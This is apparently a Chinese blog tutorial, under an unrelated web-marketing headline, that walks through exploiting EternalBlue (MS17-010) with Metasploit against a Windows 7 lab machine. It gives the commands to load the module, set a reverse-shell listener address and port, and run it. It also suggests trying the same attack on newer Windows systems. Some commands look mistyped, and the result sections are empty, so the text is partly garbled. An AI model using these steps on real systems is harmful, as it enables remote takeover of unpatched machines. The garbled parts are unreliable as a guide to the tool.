云南网站营销电子商务网站建设 大纲
目录
前言
一、搜索永恒之蓝可用模块
二、使用攻击模块
三、配置攻击模块
四、攻击
五、总结
前言
相关法律声明：《中华人民共和国网络安全法》第二十七条 任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动；不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具；明知他人从事危害网络安全的活动的，不得为其提供技术支持、广告推广、支付结算等帮助。
本文仅用于学习用途，读者应当不传播病毒以及做一些危害公共安全的行为，若读者利用所学对公共安全产生危害则与本人无关。
准备工作：
1.kali linux 系统 2.Windows7系统 3.保证攻击机与靶机之间能够ping通
步骤总览：
1.找到永恒之蓝可以使用的模块
2.使用永恒之蓝的攻击模块
3.配置永恒之蓝的攻击模块设置
4.攻击
tips:因为win10以上的系统均已打上了永恒之蓝补丁，所以行实验的时候使用win7作为靶机，读者在完成了对win7的权限获取之后，可以尝试同样的步骤对win10以上的系统进行攻击从而体会一下。
一、搜索永恒之蓝可用模块
输入命令：sudo su
输入命令：msfconsole
输入命令：search ms_010
搜索结果：
二、使用攻击模块
输入命令：use ms17_010_eternalblue 或者 use 0
三、配置攻击模块
展示攻击模块的配置项：
输入命令：show options
配置项如下：
正式配置：
输入命令：set lhost 192.168.10.151 以及 set lport 9999
配置结果如下：
四、攻击
输入命令：run
tips：如果读者没有运行成功，那么极有可能是端口被占用了
我在运行的时候没有运行成功，所以将监听端口从9999改为了10000
运行结果如下：
通过help命令可以查看获取权限之后所能够进行的操作：
五、总结
使用msf中的模块功能基本上都分为四大步：
1.找到需要使用的模块
2.使用模块
3.配置模块
4.运行模块